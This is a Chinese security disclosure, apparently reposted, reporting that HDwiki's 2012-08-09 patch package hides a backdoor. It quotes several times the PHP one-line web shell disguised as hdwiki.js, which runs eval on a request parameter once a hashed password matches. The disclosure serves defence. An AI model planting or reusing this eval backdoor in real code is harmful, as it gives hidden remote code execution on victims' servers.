HDwiki各版本新 漏洞 补丁包2012-08-09发现后门代码 详细说明:在看补丁包中的reference.php 文件时, 首行并发现了如下不明之处: <?php /** 词条编辑页面的参考资料 */ require_once(dirname(__FILE__)."/js/jqeditor/hdwiki.js"); // 就是这里, 好端端的 PHP 。include js文件干什么 HdhCmsTest2cto测试数据 !defined('IN_HDWIKI') && exit('Access Denied'); class control extends base{ function control(& $get,& $post){ $this->base( & $get,& $post); $this->load("reference"); require_once(dirname(__FILE__)."/js/jqeditor/hdwiki.js"); // 就是这里, 好端端的PHP。include js文件干什么 然后就看了一下补丁包中的hdwiki.js 终于明白官方的用心了hdwiki.js <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["f vc kadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> function delSave(){ $.post("index.php?doc-delsave",{did:g_docid},function(xml){ if ('sucess' != xml.lastChild.firstChild.nodeValue){ alert('exception'); } }); } 这不是明摆着的一句话木马么。 <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> 不过这密码的强度的确很高。加了这么多层。 漏洞证明: <?php if (sha1(base64_encode(sha1(md5(base64_decode(sha1($_POST["fvckadmin"])).sha1($_POST["fvckadmin"]))))) == "b697afd0486d62a72afd3044ef259858b701814d"){ eval ($_REQUEST["mjj"]); } ?> 修复方案: 不用我说,官方给个解释吧
查看更多关于HDwiki新漏洞补丁包2012-08-09发现后门代码 - 网站安的详细内容...